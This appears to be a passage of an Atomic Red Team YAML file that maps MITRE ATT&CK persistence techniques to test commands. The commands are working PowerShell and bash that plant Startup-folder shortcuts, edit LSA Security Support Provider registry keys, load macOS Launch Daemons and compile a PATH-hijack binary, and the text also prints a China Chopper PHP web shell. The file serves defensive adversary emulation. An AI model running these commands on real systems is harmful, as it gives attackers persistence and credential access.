existing shortcut so their malware will be executed instead of the intended legitimate program. Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - David French, Elastic - Bobby, Filar, Elastic - Travis Smith, Tripwire x_mitre_deprecated: false x_mitre_detection: |- Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'File: File Creation' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179 created: '2020-01-24T19:00:32.917Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/009 external_id: T1547.009 - source_name: 'Shortcut for Persistence ' description: Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022. url: https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence - source_name: BSidesSLC 2020 - LNK Elastic description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020. url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1547.009 atomic_tests: - name: Shortcut Modification auto_generated_guid: ce4fc678-364f-4282-af16-2fb4c78005ce description: | This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell; gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL. Upon execution, calc.exe will be launched. supported_platforms: - windows input_arguments: shortcut_file_path: description: shortcut modified and execute type: path default: "%temp%\\T1547.009_modified_shortcut.url" executor: command: | echo [InternetShortcut] > #{shortcut_file_path} echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path} #{shortcut_file_path} cleanup_command: 'del -f #{shortcut_file_path} >nul 2>&1 ' name: command_prompt - name: Create shortcut to cmd in startup folders auto_generated_guid: cfdc954d-4bb0-4027-875b-a1893ce406f2 description: | LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" to view the new shortcut. supported_platforms: - windows executor: command: | $Shell = New-Object -ComObject ("WScript.Shell") $ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk") $ShortCut.TargetPath="cmd.exe" $ShortCut.WorkingDirectory = "C:\Windows\System32"; $ShortCut.WindowStyle = 1; $ShortCut.Description = "T1547.009."; $ShortCut.Save() $Shell = New-Object -ComObject ("WScript.Shell") $ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk") $ShortCut.TargetPath="cmd.exe" $ShortCut.WorkingDirectory = "C:\Windows\System32"; $ShortCut.WindowStyle = 1; $ShortCut.Description = "T1547.009."; $ShortCut.Save() cleanup_command: | Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore name: powershell elevation_required: true T1525: technique: x_mitre_platforms: - IaaS - Containers x_mitre_domains: - enterprise-attack x_mitre_contributors: - Yossi Weizman, Azure Defender Research Team - Vishwas Manral, McAfee - Praetorian object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f type: attack-pattern created: '2019-09-04T12:04:03.552Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1525 url: https://attack.mitre.org/techniques/T1525 - source_name: Rhino Labs Cloud Image Backdoor Technique Sept 2019 url: https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/ description: Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019. - source_name: Rhino Labs Cloud Backdoor September 2019 url: https://github.com/RhinoSecurityLabs/ccat description: Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019. modified: '2022-05-11T14:00:00.188Z' name: Implant Internal Image description: |- Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. " x_mitre_version: '2.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Image: Image Metadata' - 'Image: Image Creation' - 'Image: Image Modification' x_mitre_permissions_required: - User x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1547.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462 type: attack-pattern created: '2020-01-24T17:16:11.806Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1547.005 url: https://attack.mitre.org/techniques/T1547/005 - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html description: Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. source_name: Graeber 2014 - url: https://technet.microsoft.com/en-us/library/dn408187.aspx description: Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. source_name: Microsoft Configure LSA modified: '2021-04-29T14:49:39.188Z' name: 'Boot or Logon Autostart Execution: Security Support Provider' description: |- Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1547.005 atomic_tests: - name: Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry auto_generated_guid: afdfd7e3-8a0b-409f-85f7-886fdf249c9e description: | Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder. A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/ supported_platforms: - windows executor: command: | $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue"; $newvalue = "AtomicTest.dll"; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue cleanup_command: |- $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old'; name: powershell elevation_required: true - name: Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry auto_generated_guid: de3f8e74-3351-4fdb-a442-265dbf231738 description: Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys. supported_platforms: - windows executor: command: | $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue"; $newvalue = "AtomicTest.dll"; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue cleanup_command: |- $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old'; name: powershell elevation_required: true T1556.007: technique: modified: '2022-11-08T14:00:00.188Z' name: Hybrid Identity description: "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: '' x_mitre_platforms: - Windows - Azure AD - SaaS - Google Workspace - Office 365 - IaaS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Praetorian x_mitre_data_sources: - 'File: File Modification' - 'Module: Module Load' - 'Application Log: Application Log Content' - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f created: '2022-09-28T13:29:53.354Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/007 external_id: T1556.007 - source_name: Azure AD Connect for Read Teamers description: Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022. url: https://blog.xpnsec.com/azuread-connect-for-redteam/ - source_name: AADInternals Azure AD On-Prem to Cloud description: 'Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.' url: https://o365blog.com/post/on-prem_admin/ - source_name: MagicWeb description: 'Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.' url: https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/ - source_name: Azure AD Hybrid Identity description: Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022. url: https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn - source_name: Mandiant Azure AD Backdoors description: Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022. url: https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1543.004: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Create or Modify System Process: Launch Daemon' description: |- Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists) Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection) Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |+ Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP. Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Creation' - 'File: File Modification' - 'Service: Service Modification' - 'Command: Command Execution' - 'Service: Service Creation' x_mitre_effective_permissions: - root - Administrator x_mitre_permissions_required: - Administrator type: attack-pattern id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba created: '2020-01-17T19:23:15.227Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543/004 external_id: T1543.004 - source_name: AppleDocs Launch Agent Daemons description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: Methods of Mac Malware Persistence description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: launchd Keywords for plists description: Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021. url: https://www.real-world-systems.com/docs/launchdPlist.1.html - source_name: WireLurker description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.' url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - source_name: OSX Malware Detection description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.' url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - source_name: LaunchDaemon Hijacking description: 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.' url: https://bradleyjkemp.dev/post/launchdaemon-hijacking/ - source_name: sentinelone macos persist Jun 2019 description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019. url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1543.004 atomic_tests: - name: Launch Daemon auto_generated_guid: 03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf description: 'Utilize LaunchDaemon to launch `Hello World` ' supported_platforms: - macos input_arguments: plist_filename: description: filename type: string default: com.atomicredteam.plist path_malicious_plist: description: Name of file to store in cron folder type: string default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename} sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename} cleanup_command: | sudo launchctl unload /Library/LaunchDaemons/#{plist_filename} sudo rm /Library/LaunchDaemons/#{plist_filename} sudo rm /tmp/T1543_004_atomicredteam.txt - name: Launch Daemon - Users Directory auto_generated_guid: 6f899f9d-8a8e-4143-89a5-26fc2c3ec438 description: 'Utilize LaunchDaemon in /Users directory to touch temporary file in /tmp ' supported_platforms: - macos input_arguments: plist_filename: description: filename type: string default: com.atomicredteam.T1543.004.plist path_malicious_plist: description: Name of file to store in cron folder type: string default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_malicious_plist} ~/Library/LaunchDaemons/#{plist_filename} sudo launchctl load -w ~/Library/LaunchDaemons/#{plist_filename} cleanup_command: |- sudo launchctl unload ~/Library/LaunchDaemons/#{plist_filename} sudo rm ~/Library/LaunchDaemons/#{plist_filename} sudo rm /tmp/T1543_004_atomicredteam.txt T1574.008: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: Path Interception by Search Order Hijacking' description: |- Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program. Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. For example, "example.exe" runs "cmd.exe" with the command-line argument net user. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property) Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Stefan Kanthak x_mitre_detection: | Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Modification' - 'File: File Creation' x_mitre_effective_permissions: - Administrator - SYSTEM - User x_mitre_permissions_required: - Administrator - User - SYSTEM type: attack-pattern id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2 created: '2020-03-13T17:48:58.999Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/008 external_id: T1574.008 - source_name: Microsoft CreateProcess description: Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. url: http://msdn.microsoft.com/en-us/library/ms682425 - source_name: Windows NT Command Shell description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014. url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120 - source_name: Microsoft WinExec description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014. url: http://msdn.microsoft.com/en-us/library/ms687393 - source_name: Microsoft Environment Property description: Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016. url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1574.008 atomic_tests: - name: powerShell Persistence via hijacking default modules - Get-Variable.exe auto_generated_guid: 1561de08-0b4b-498e-8261-e922f3494aae description: "Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\\Local\\Microsoft\\WindowsApps and \nnames it Get-Variable.exe for Windows 10 and above.\nhttps://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/\n" supported_platforms: - windows executor: command: | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" "PathToAtomicsFolder\T1574.008\bin\calc.cs" Powershell -noprofile cleanup_command: | Remove-Item "$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" -ErrorAction Ignore Stop-Process -Name "calculator" name: powershell T1505.003: technique: modified: '2024-04-16T12:45:06.434Z' name: 'Server Software Component: Web Shell' description: |- Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW) In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Arnim Rupp, Deutsche Lufthansa AG x_mitre_deprecated: false x_mitre_detection: "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<?php @eval($_POST['password']);>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - Windows - macOS - Network x_mitre_version: '1.4' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Process: Process Creation' - 'File: File Creation' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' - 'File: File Modification' type: attack-pattern id: attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb created: '2019-12-13T16:46:18.927Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1505/003 external_id: T1505.003 - source_name: NSA Cyber Mitigating Web Shells description: " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021." url: https://github.com/nsacyber/Mitigating-Web-Shells - source_name: volexity_0day_sophos_FW description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.' url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - source_name: Lee 2013 description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015. url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html - source_name: US-CERT Alert TA15-314A Web Shells description: US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. url: https://www.us-cert.gov/ncas/alerts/TA15-314A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1505.003 atomic_tests: - name: Web Shell Written to Disk auto_generated_guid: 0a2ce662-1efa-496f-a472-2fe7b080db16 description: | This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx 